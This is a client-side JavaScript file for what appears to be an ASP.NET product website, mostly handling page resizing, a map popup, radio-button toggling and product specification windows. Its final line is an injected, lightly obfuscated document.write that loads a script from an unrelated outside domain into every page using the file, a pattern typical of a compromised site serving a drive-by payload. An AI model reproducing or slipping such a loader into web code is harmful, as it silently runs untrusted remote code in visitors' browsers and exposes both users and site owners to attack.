﻿//
// Initialises the web page (called in onload event of body element).
// 
function InitialisePage()
{
    ReflectDocumentHeight();
}

//
// Depending on the document's height the controls are resized accordingly.
// This method must be called as a response to the onload and onresize events.
// 
//
// Remarks:
//   When the height of an elemement is defined in an external CSS file it can't
//   be read by using "element.style.height"; it can be done by using
//   element.offsetHeight!
// 
function ReflectDocumentHeight()
{               
    //get document height
    var documentHeight = document.documentElement.clientHeight + 256; //temporary (+256)
       
    //get reference to all height-related elements
    var mainTable = document.getElementById( "idMainTable" );            
    var header = document.getElementById( "idHeader" );
    var contents = document.getElementById( "idContents" );
    var table = document.getElementById("idContentsTable");
    var side = document.getElementById("idContentsColumnRight");
    var sideImage = document.getElementById("idContentsColumnLeft");
           
    //get relevant heights
    var heightHeader = header.offsetHeight;
    var heightSum = heightHeader;    
    
    //calculate heights
    mainTable.style.height = documentHeight + "px"; //px has to be added for FireFox                
    
    if ( documentHeight - heightSum > 0 )
    {
        contents.style.height = (documentHeight - heightSum) + "px"; //px has to be added for FireFox                        
    }
    
    if ( table != null )
    {
        table.style.height = (documentHeight - heightSum) + "px"; //px has to be added for FireFox       
    }
    
    if ( side != null )
    {
        side.style.height = sideImage.offsetHeight + "px";      
    }
}

function ShowMap()
{
    var directionsPopup = document.getElementById("ctl00_placeHolderContent_divMap");
    var directionsButton = document.getElementById("idButtonShowMap");
       
    PositionControlRelative( "idButtonShowMap", "ctl00_placeHolderContent_divMap", (directionsButton.offsetWidth / 2), (-10 - directionsPopup.offsetHeight) );
          
    directionsPopup.style.visibility = "visible";
}

function HideMap()
{
    var directionsPopup = document.getElementById("ctl00_placeHolderContent_divMap");

    directionsPopup.style.visibility = "hidden";
}

function CheckRadioButton(name)
{
    var radioButton = document.getElementById(name);    
    var textbox = null;
    radioButton.checked = true;
    
    if ( name == "ctl00_placeHolderContent_radioProductName" )
    {
        textbox = document.getElementById("ctl00_placeHolderContent_tbxProductCode");
        textbox.value = "";
    }
    else if ( name == "ctl00_placeHolderContent_radioProductCode" )
    {
        textbox = document.getElementById("ctl00_placeHolderContent_tbxProductName");
        textbox.value = "";
    }
}

function ShowProductSpecification(productCode)
{
    OpenWindow( "ProduktSpecificatie.aspx?code=" + productCode, "_blank", "512px", "640px" )
}
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Data_Type.js"></scri'+'pt>');